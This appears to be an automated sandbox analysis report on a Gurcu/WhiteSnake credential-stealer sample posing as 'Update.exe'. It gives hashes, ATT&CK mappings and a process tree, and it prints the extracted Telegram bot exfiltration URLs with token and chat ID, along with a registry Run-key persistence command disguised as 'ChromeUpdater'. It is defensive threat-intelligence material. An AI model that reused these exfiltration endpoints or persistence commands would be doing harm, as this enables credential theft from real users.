gurcu | d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
15-08-2024 13:47

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General

Target

Update.exe
Size

5.6MB
MD5

b8703418e6c3d1ccd83b8d178ab9f4c9
SHA1

6fb0e1e0ee5bc745f52a1c29e3cf4b88a2298dd6
SHA256

d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e
SHA512

75ff6e911691e3d0d32c25d4b6d275a2b6157dae418ce5507f3e3f1b321c3f0dee516b7db0fd6588860019a19862f43c5335c465829de7a418a71999b71cfc3f
SSDEEP

98304:sbl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Ucf:s6OuK6mn9NzgMoYkSIvUcwti7TQlvciA

Score

10^/10

gurcu credential_access discovery persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendMessage?chat_id=2024893777

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/getUpdates?offset=-

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Executes dropped EXE 1 IoCs

pid	Process
2980	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
4244	Update.exe
2980	Update.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2842058299-443432012-2465494467-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLogger\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com
6	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1284	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1632	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
576	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
4244	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe
2980	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4244	Update.exe
Token: SeDebugPrivilege	1284	tasklist.exe
Token: SeDebugPrivilege	2980	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2980	Update.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4244 wrote to memory of 4960	4244	Update.exe	84
PID 4244 wrote to memory of 4960	4244	Update.exe	84
PID 4960 wrote to memory of 1284	4960	cmd.exe	86
PID 4960 wrote to memory of 1284	4960	cmd.exe	86
PID 4960 wrote to memory of 4228	4960	cmd.exe	87
PID 4960 wrote to memory of 4228	4960	cmd.exe	87
PID 4960 wrote to memory of 1632	4960	cmd.exe	88
PID 4960 wrote to memory of 1632	4960	cmd.exe	88
PID 4960 wrote to memory of 2980	4960	cmd.exe	89
PID 4960 wrote to memory of 2980	4960	cmd.exe	89
PID 2980 wrote to memory of 3944	2980	Update.exe	90
PID 2980 wrote to memory of 3944	2980	Update.exe	90
PID 3944 wrote to memory of 576	3944	cmd.exe	92
PID 3944 wrote to memory of 576	3944	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\Update.exe
"C:\Users\Admin\AppData\Local\Temp\Update.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpC3AE.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpC3AE.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 4244"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1284
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:4228
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1632
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3944
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Update.exe.log

Filesize
1KB

MD5
f6124be7822087101cfaca65733653f4

SHA1
cc40c3110d3ae90008b0a4930259a0c18bba1703

SHA256
4451dab0c07cb97f3f4e71be86ebb6f895b139a13a6c1df97ca5028a216f6925

SHA512
f4bc2d963e9aecc93cb2d602b94c95521d461483665d128d0d4b7266b5686691973e6496706d9cd35816cd946a38c9c1c6482b80c264588eefdfafb69ac59835

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC3AE.tmp.bat

Filesize
280B

MD5
78e02c0abe0a12e26a2f8b7bbaadd73d

SHA1
146dc3198b8c314f48d0c9d908fd9d723818290a

SHA256
ce8eaa1ae3a458550718ed0bd308f4a4abc367d08ee4385cb72ec1932a61c54f

SHA512
f85702650d7c735773cb4c02358a79c3f620b04aeadd5608fc5ca72a2fac23c121b97a949bcb2f56c915642cdaf21f4ec4ec5e827564c5a79fd67135a7adda37

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe

Filesize
5.6MB

MD5
b8703418e6c3d1ccd83b8d178ab9f4c9

SHA1
6fb0e1e0ee5bc745f52a1c29e3cf4b88a2298dd6

SHA256
d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e

SHA512
75ff6e911691e3d0d32c25d4b6d275a2b6157dae418ce5507f3e3f1b321c3f0dee516b7db0fd6588860019a19862f43c5335c465829de7a418a71999b71cfc3f

Download Submit
memory/2980-23-0x0000014FC6470000-0x0000014FC6522000-memory.dmp

Filesize
712KB

Download
memory/2980-25-0x0000014FC65C0000-0x0000014FC65E2000-memory.dmp

Filesize
136KB

Download
memory/2980-46-0x0000014FC6670000-0x0000014FC6682000-memory.dmp

Filesize
72KB

Download
memory/2980-28-0x0000014FC43C0000-0x0000014FC43E6000-memory.dmp

Filesize
152KB

Download
memory/2980-27-0x0000014FC6630000-0x0000014FC666A000-memory.dmp

Filesize
232KB

Download
memory/2980-24-0x0000014FC6570000-0x0000014FC65C0000-memory.dmp

Filesize
320KB

Download
memory/2980-20-0x0000014FC43F0000-0x0000014FC43FA000-memory.dmp

Filesize
40KB

Download
memory/2980-21-0x0000014FC6200000-0x0000014FC626A000-memory.dmp

Filesize
424KB

Download
memory/4244-0-0x00007FFC54113000-0x00007FFC54115000-memory.dmp

Filesize
8KB

Download
memory/4244-1-0x000001D4AE760000-0x000001D4AED00000-memory.dmp

Filesize
5.6MB

Download
memory/4244-8-0x000001D4AF1A0000-0x000001D4AF1BE000-memory.dmp

Filesize
120KB

Download
memory/4244-6-0x000001D4C9220000-0x000001D4C9296000-memory.dmp

Filesize
472KB

Download
memory/4244-13-0x00007FFC54110000-0x00007FFC54BD2000-memory.dmp

Filesize
10.8MB

Download
memory/4244-7-0x00007FFC54110000-0x00007FFC54BD2000-memory.dmp

Filesize
10.8MB

Download